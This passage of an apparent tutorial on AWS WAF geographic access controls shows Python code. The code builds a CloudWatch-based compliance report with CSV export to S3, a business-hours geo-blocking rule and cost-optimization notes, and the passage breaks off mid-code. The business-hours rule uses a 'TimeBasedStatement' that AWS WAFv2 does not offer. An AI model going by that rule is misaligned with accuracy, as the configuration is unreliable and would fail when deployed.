            <span class="sh">'</span><span class="s">distribution</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="n">distribution_id</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">metrics</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">get_geographic_metrics</span><span class="p">(</span><span class="n">start_date</span><span class="p">,</span> <span class="n">end_date</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">violations</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">identify_compliance_violations</span><span class="p">(</span><span class="n">start_date</span><span class="p">,</span> <span class="n">end_date</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">generate_recommendations</span><span class="p">()</span>
        <span class="p">}</span>
        
        <span class="k">return</span> <span class="n">report_data</span>
    
    <span class="k">def</span> <span class="nf">get_geographic_metrics</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">start_date</span><span class="p">,</span> <span class="n">end_date</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">
        Retrieve geographic access metrics from CloudWatch
        </span><span class="sh">"""</span>
        <span class="n">metrics</span> <span class="o">=</span> <span class="p">{}</span>
        
        <span class="c1"># Get WAF metrics
</span>        <span class="n">waf_metrics</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">cloudwatch</span><span class="p">.</span><span class="nf">get_metric_statistics</span><span class="p">(</span>
            <span class="n">Namespace</span><span class="o">=</span><span class="sh">'</span><span class="s">AWS/WAFV2</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">MetricName</span><span class="o">=</span><span class="sh">'</span><span class="s">AllowedRequests</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Dimensions</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">WebACL</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="n">web_acl_name</span><span class="p">},</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Rule</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AllowedCountriesRule</span><span class="sh">'</span><span class="p">}</span>
            <span class="p">],</span>
            <span class="n">StartTime</span><span class="o">=</span><span class="n">start_date</span><span class="p">,</span>
            <span class="n">EndTime</span><span class="o">=</span><span class="n">end_date</span><span class="p">,</span>
            <span class="n">Period</span><span class="o">=</span><span class="mi">86400</span><span class="p">,</span>  <span class="c1"># Daily
</span>            <span class="n">Statistics</span><span class="o">=</span><span class="p">[</span><span class="sh">'</span><span class="s">Sum</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">)</span>
        
        <span class="n">metrics</span><span class="p">[</span><span class="sh">'</span><span class="s">allowed_requests</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">sum</span><span class="p">([</span><span class="n">point</span><span class="p">[</span><span class="sh">'</span><span class="s">Sum</span><span class="sh">'</span><span class="p">]</span> <span class="k">for</span> <span class="n">point</span> <span class="ow">in</span> <span class="n">waf_metrics</span><span class="p">[</span><span class="sh">'</span><span class="s">Datapoints</span><span class="sh">'</span><span class="p">]])</span>
        
        <span class="c1"># Get blocked requests
</span>        <span class="n">blocked_metrics</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">cloudwatch</span><span class="p">.</span><span class="nf">get_metric_statistics</span><span class="p">(</span>
            <span class="n">Namespace</span><span class="o">=</span><span class="sh">'</span><span class="s">AWS/WAFV2</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">MetricName</span><span class="o">=</span><span class="sh">'</span><span class="s">BlockedRequests</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Dimensions</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">WebACL</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="n">web_acl_name</span><span class="p">},</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Rule</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BlockedCountriesRule</span><span class="sh">'</span><span class="p">}</span>
            <span class="p">],</span>
            <span class="n">StartTime</span><span class="o">=</span><span class="n">start_date</span><span class="p">,</span>
            <span class="n">EndTime</span><span class="o">=</span><span class="n">end_date</span><span class="p">,</span>
            <span class="n">Period</span><span class="o">=</span><span class="mi">86400</span><span class="p">,</span>
            <span class="n">Statistics</span><span class="o">=</span><span class="p">[</span><span class="sh">'</span><span class="s">Sum</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">)</span>
        
        <span class="n">metrics</span><span class="p">[</span><span class="sh">'</span><span class="s">blocked_requests</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">sum</span><span class="p">([</span><span class="n">point</span><span class="p">[</span><span class="sh">'</span><span class="s">Sum</span><span class="sh">'</span><span class="p">]</span> <span class="k">for</span> <span class="n">point</span> <span class="ow">in</span> <span class="n">blocked_metrics</span><span class="p">[</span><span class="sh">'</span><span class="s">Datapoints</span><span class="sh">'</span><span class="p">]])</span>
        
        <span class="c1"># Calculate compliance percentage
</span>        <span class="n">total_requests</span> <span class="o">=</span> <span class="n">metrics</span><span class="p">[</span><span class="sh">'</span><span class="s">allowed_requests</span><span class="sh">'</span><span class="p">]</span> <span class="o">+</span> <span class="n">metrics</span><span class="p">[</span><span class="sh">'</span><span class="s">blocked_requests</span><span class="sh">'</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">total_requests</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
            <span class="n">metrics</span><span class="p">[</span><span class="sh">'</span><span class="s">compliance_rate</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">metrics</span><span class="p">[</span><span class="sh">'</span><span class="s">allowed_requests</span><span class="sh">'</span><span class="p">]</span> <span class="o">/</span> <span class="n">total_requests</span><span class="p">)</span> <span class="o">*</span> <span class="mi">100</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">metrics</span><span class="p">[</span><span class="sh">'</span><span class="s">compliance_rate</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="mi">100</span>
            
        <span class="k">return</span> <span class="n">metrics</span>
    
    <span class="k">def</span> <span class="nf">identify_compliance_violations</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">start_date</span><span class="p">,</span> <span class="n">end_date</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">
        Identify potential compliance violations in geographic access
        </span><span class="sh">"""</span>
        <span class="n">violations</span> <span class="o">=</span> <span class="p">[]</span>
        
        <span class="c1"># Check for suspicious patterns
</span>        <span class="n">compliance_metrics</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">cloudwatch</span><span class="p">.</span><span class="nf">get_metric_statistics</span><span class="p">(</span>
            <span class="n">Namespace</span><span class="o">=</span><span class="sh">'</span><span class="s">AWS/WAFV2</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">MetricName</span><span class="o">=</span><span class="sh">'</span><span class="s">AllowedRequests</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Dimensions</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">WebACL</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="n">web_acl_name</span><span class="p">},</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Rule</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ComplianceMonitoringRule</span><span class="sh">'</span><span class="p">}</span>
            <span class="p">],</span>
            <span class="n">StartTime</span><span class="o">=</span><span class="n">start_date</span><span class="p">,</span>
            <span class="n">EndTime</span><span class="o">=</span><span class="n">end_date</span><span class="p">,</span>
            <span class="n">Period</span><span class="o">=</span><span class="mi">3600</span><span class="p">,</span>  <span class="c1"># Hourly
</span>            <span class="n">Statistics</span><span class="o">=</span><span class="p">[</span><span class="sh">'</span><span class="s">Sum</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">)</span>
        
        <span class="c1"># Identify unusual spikes in compliance monitoring
</span>        <span class="k">for</span> <span class="n">datapoint</span> <span class="ow">in</span> <span class="n">compliance_metrics</span><span class="p">[</span><span class="sh">'</span><span class="s">Datapoints</span><span class="sh">'</span><span class="p">]:</span>
            <span class="k">if</span> <span class="n">datapoint</span><span class="p">[</span><span class="sh">'</span><span class="s">Sum</span><span class="sh">'</span><span class="p">]</span> <span class="o">&gt;</span> <span class="mi">1000</span><span class="p">:</span>  <span class="c1"># Threshold for suspicious activity
</span>                <span class="n">violations</span><span class="p">.</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datapoint</span><span class="p">[</span><span class="sh">'</span><span class="s">Timestamp</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">High Volume Compliance Event</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">value</span><span class="sh">'</span><span class="p">:</span> <span class="n">datapoint</span><span class="p">[</span><span class="sh">'</span><span class="s">Sum</span><span class="sh">'</span><span class="p">],</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Medium</span><span class="sh">'</span>
                <span class="p">})</span>
        
        <span class="k">return</span> <span class="n">violations</span>
    
    <span class="k">def</span> <span class="nf">generate_recommendations</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">
        Generate recommendations based on compliance analysis
        </span><span class="sh">"""</span>
        <span class="n">recommendations</span> <span class="o">=</span> <span class="p">[</span>
            <span class="sh">"</span><span class="s">Review and update allowed countries list quarterly</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Implement automated threat intelligence integration</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Set up real-time alerting for compliance violations</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Consider implementing regional data residency controls</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Regular review of admin access exceptions</span><span class="sh">"</span>
        <span class="p">]</span>
        
        <span class="k">return</span> <span class="n">recommendations</span>
    
    <span class="k">def</span> <span class="nf">export_to_csv</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">report_data</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">
        Export compliance report to CSV format
        </span><span class="sh">"""</span>
        <span class="n">output</span> <span class="o">=</span> <span class="nc">StringIO</span><span class="p">()</span>
        <span class="n">writer</span> <span class="o">=</span> <span class="n">csv</span><span class="p">.</span><span class="nf">writer</span><span class="p">(</span><span class="n">output</span><span class="p">)</span>
        
        <span class="c1"># Write header
</span>        <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="sh">'</span><span class="s">Metric</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Period</span><span class="sh">'</span><span class="p">])</span>
        <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="sh">'</span><span class="s">Report Period</span><span class="sh">'</span><span class="p">,</span> <span class="n">report_data</span><span class="p">[</span><span class="sh">'</span><span class="s">period</span><span class="sh">'</span><span class="p">],</span> <span class="sh">''</span><span class="p">])</span>
        <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="sh">'</span><span class="s">Web ACL</span><span class="sh">'</span><span class="p">,</span> <span class="n">report_data</span><span class="p">[</span><span class="sh">'</span><span class="s">web_acl</span><span class="sh">'</span><span class="p">],</span> <span class="sh">''</span><span class="p">])</span>
        <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="sh">'</span><span class="s">Distribution</span><span class="sh">'</span><span class="p">,</span> <span class="n">report_data</span><span class="p">[</span><span class="sh">'</span><span class="s">distribution</span><span class="sh">'</span><span class="p">],</span> <span class="sh">''</span><span class="p">])</span>
        <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="sh">''</span><span class="p">,</span> <span class="sh">''</span><span class="p">,</span> <span class="sh">''</span><span class="p">])</span>
        
        <span class="c1"># Write metrics
</span>        <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="sh">'</span><span class="s">METRICS</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">,</span> <span class="sh">''</span><span class="p">])</span>
        <span class="k">for</span> <span class="n">key</span><span class="p">,</span> <span class="n">value</span> <span class="ow">in</span> <span class="n">report_data</span><span class="p">[</span><span class="sh">'</span><span class="s">metrics</span><span class="sh">'</span><span class="p">].</span><span class="nf">items</span><span class="p">():</span>
            <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="n">key</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">_</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s"> </span><span class="sh">'</span><span class="p">).</span><span class="nf">title</span><span class="p">(),</span> <span class="n">value</span><span class="p">,</span> <span class="n">report_data</span><span class="p">[</span><span class="sh">'</span><span class="s">period</span><span class="sh">'</span><span class="p">]])</span>
        
        <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="sh">''</span><span class="p">,</span> <span class="sh">''</span><span class="p">,</span> <span class="sh">''</span><span class="p">])</span>
        
        <span class="c1"># Write violations
</span>        <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="sh">'</span><span class="s">VIOLATIONS</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">,</span> <span class="sh">''</span><span class="p">])</span>
        <span class="k">for</span> <span class="n">violation</span> <span class="ow">in</span> <span class="n">report_data</span><span class="p">[</span><span class="sh">'</span><span class="s">violations</span><span class="sh">'</span><span class="p">]:</span>
            <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="n">violation</span><span class="p">[</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">],</span> <span class="n">violation</span><span class="p">[</span><span class="sh">'</span><span class="s">value</span><span class="sh">'</span><span class="p">],</span> <span class="n">violation</span><span class="p">[</span><span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">]])</span>
        
        <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="sh">''</span><span class="p">,</span> <span class="sh">''</span><span class="p">,</span> <span class="sh">''</span><span class="p">])</span>
        
        <span class="c1"># Write recommendations
</span>        <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="sh">'</span><span class="s">RECOMMENDATIONS</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">,</span> <span class="sh">''</span><span class="p">])</span>
        <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">rec</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">report_data</span><span class="p">[</span><span class="sh">'</span><span class="s">recommendations</span><span class="sh">'</span><span class="p">],</span> <span class="mi">1</span><span class="p">):</span>
            <span class="n">writer</span><span class="p">.</span><span class="nf">writerow</span><span class="p">([</span><span class="sa">f</span><span class="sh">'</span><span class="s">Recommendation </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span> <span class="n">rec</span><span class="p">,</span> <span class="sh">''</span><span class="p">])</span>
        
        <span class="k">return</span> <span class="n">output</span><span class="p">.</span><span class="nf">getvalue</span><span class="p">()</span>

<span class="c1"># Usage example
</span><span class="k">def</span> <span class="nf">generate_monthly_compliance_report</span><span class="p">():</span>
    <span class="sh">"""</span><span class="s">
    Generate monthly compliance report
    </span><span class="sh">"""</span>
    <span class="n">end_date</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">()</span>
    <span class="n">start_date</span> <span class="o">=</span> <span class="n">end_date</span> <span class="o">-</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">days</span><span class="o">=</span><span class="mi">30</span><span class="p">)</span>
    
    <span class="n">reporter</span> <span class="o">=</span> <span class="nc">GeographicComplianceReporter</span><span class="p">(</span>
        <span class="n">web_acl_name</span><span class="o">=</span><span class="sh">'</span><span class="s">geo-secure-app-geo-waf-acl</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">distribution_id</span><span class="o">=</span><span class="sh">'</span><span class="s">E1234567890123</span><span class="sh">'</span>
    <span class="p">)</span>
    
    <span class="n">report</span> <span class="o">=</span> <span class="n">reporter</span><span class="p">.</span><span class="nf">generate_compliance_report</span><span class="p">(</span><span class="n">start_date</span><span class="p">,</span> <span class="n">end_date</span><span class="p">)</span>
    <span class="n">csv_report</span> <span class="o">=</span> <span class="n">reporter</span><span class="p">.</span><span class="nf">export_to_csv</span><span class="p">(</span><span class="n">report</span><span class="p">)</span>
    
    <span class="c1"># Upload to S3 for storage
</span>    <span class="n">s3</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">s3</span><span class="p">.</span><span class="nf">put_object</span><span class="p">(</span>
        <span class="n">Bucket</span><span class="o">=</span><span class="sh">'</span><span class="s">compliance-reports-bucket</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Key</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">geographic-compliance/report-</span><span class="si">{</span><span class="n">end_date</span><span class="p">.</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">"</span><span class="s">%Y-%m</span><span class="sh">"</span><span class="p">)</span><span class="si">}</span><span class="s">.csv</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">Body</span><span class="o">=</span><span class="n">csv_report</span><span class="p">,</span>
        <span class="n">ContentType</span><span class="o">=</span><span class="sh">'</span><span class="s">text/csv</span><span class="sh">'</span>
    <span class="p">)</span>
    
    <span class="k">return</span> <span class="n">report</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="advanced-configuration-and-optimization">Advanced Configuration and Optimization</h2>

<h3 id="dynamic-geographic-rules-based-on-application-context">Dynamic Geographic Rules Based on Application Context</h3>

<p>Implement context-aware geographic controls that adapt based on application usage patterns:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">create_dynamic_geographic_rules</span><span class="p">():</span>
    <span class="sh">"""</span><span class="s">
    Create dynamic geographic rules based on application context
    </span><span class="sh">"""</span>
    <span class="n">rule_templates</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">business_hours</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BusinessHoursGeographicControl</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">priority</span><span class="sh">'</span><span class="p">:</span> <span class="mi">15</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Enhanced geographic control during business hours</span><span class="sh">'</span>
        <span class="p">},</span>
        <span class="sh">'</span><span class="s">api_access</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">APIGeographicStrictControl</span><span class="sh">'</span><span class="p">,</span> 
            <span class="sh">'</span><span class="s">priority</span><span class="sh">'</span><span class="p">:</span> <span class="mi">16</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Strict geographic control for API endpoints</span><span class="sh">'</span>
        <span class="p">},</span>
        <span class="sh">'</span><span class="s">admin_access</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AdminGeographicControl</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">priority</span><span class="sh">'</span><span class="p">:</span> <span class="mi">17</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Administrative access geographic restrictions</span><span class="sh">'</span>
        <span class="p">}</span>
    <span class="p">}</span>
    
    <span class="c1"># Business hours rule - stricter controls during business hours
</span>    <span class="n">business_hours_rule</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule_templates</span><span class="p">[</span><span class="sh">'</span><span class="s">business_hours</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">],</span>
        <span class="sh">'</span><span class="s">Priority</span><span class="sh">'</span><span class="p">:</span> <span class="n">rule_templates</span><span class="p">[</span><span class="sh">'</span><span class="s">business_hours</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">priority</span><span class="sh">'</span><span class="p">],</span>
        <span class="sh">'</span><span class="s">Statement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">AndStatement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">Statements</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">TimeBasedStatement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">'</span><span class="s">StartTime</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">08:00</span><span class="sh">'</span><span class="p">,</span>
                            <span class="sh">'</span><span class="s">EndTime</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">18:00</span><span class="sh">'</span><span class="p">,</span>
                            <span class="sh">'</span><span class="s">TimeZone</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">UTC</span><span class="sh">'</span>
                        <span class="p">}</span>
                    <span class="p">},</span>
                    <span class="p">{</span>
                        <span class="sh">'</span><span class="s">NotStatement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">'</span><span class="s">Statement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                                <span class="sh">'</span><span class="s">GeoMatchStatement</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                                    <span class="sh">'</span><span class="s">CountryCodes</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">US</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">CA</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">GB</span><span class="sh">'</span><span class="p">]</span>  <span class="c1"># Business locations only
</span>                                <span class="p">}</span>
                            <span class="p">}</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">}</span>
        <span class="p">},</span>
        <span class="sh">'</span><span class="s">Action</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">Block</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">CustomResponse</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">ResponseCode</span><span class="sh">'</span><span class="p">:</span> <span class="mi">403</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">CustomResponseBodyKey</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">business-hours-geo-blocked</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">},</span>
        <span class="sh">'</span><span class="s">VisibilityConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">SampledRequestsEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">CloudWatchMetricsEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">MetricName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">business-hours-geo-control</span><span class="sh">'</span>
        <span class="p">}</span>
    <span class="p">}</span>
    
    <span class="k">return</span> <span class="p">[</span><span class="n">business_hours_rule</span><span class="p">]</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="cost-optimization-strategies">Cost Optimization Strategies</h3>

<p>Implement cost optimization for geographic access controls:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
</pre></td><td class="rouge-code"><pre><span class="k">def</span> <span class="nf">optimize_geographic_rules_cost</span><span class="p">():</span>
    <span class="sh">"""</span><span class="s">
    Optimize WAF rules for cost efficiency while maintaining security
    </span><span class="sh">"""</span>
    <span class="n">optimizations</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">rule_consolidation</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Combine similar geographic rules to reduce rule count</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">potential_savings</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">20-30% on WAF rule charges</span><span class="sh">'</span>
        <span class="p">},</span>
        <span class="sh">'</span><span class="s">regional_distribution</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Use CloudFront regional edge caches strategically</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">potential_savings</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">15-25% on data transfer costs</span><span class="sh">'</span>
        <span class="p">},</span>
        <span class="sh">'</span><span class="s">intelligent_caching</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Cache geographic responses to reduce origin requests</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">potential_savings</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">30-40% on origin server costs</span><span class="sh">'</span>
        <span class="p">}</span>
    <span class="p">}</span>
    
    <span class="k">return</span> <span class="n">optimizations</span>

<span class="k">def</span> <span class="nf">implement_cost_optimized_caching</span><span class="p">():</span>
    <span class="sh">"""</span><span class="s">
    Implement cost-optimized caching for geographic content
    </span><span class="sh">"""</span>
    <span class="n">cache_policy</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">Name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">GeographicOptimizedCaching</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">DefaultTTL</span><span class="sh">'</span><span class="p">:</span> <span class="mi">3600</span><span class="p">,</span>  <span class="c1"># 1 hour for geographic responses
</span>        <span class="sh">'</span><span class="s">MaxTTL</span><span class="sh">'</span><span class="p">:</span> <span class="mi">86400</span><span class="p">,</span>     <span class="c1"># 24 hours maximum
</span>        <span class="sh">'</span><span class="s">MinTTL</span><span class="sh">'</span><span class="p">:</span> <span class="mi">300</span><span class="p">,</span>       <span class="c1"># 5 minutes minimum
</span>        <span class="sh">'</span><span class="s">ParametersInCacheKeyAndForwardedToOrigin</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
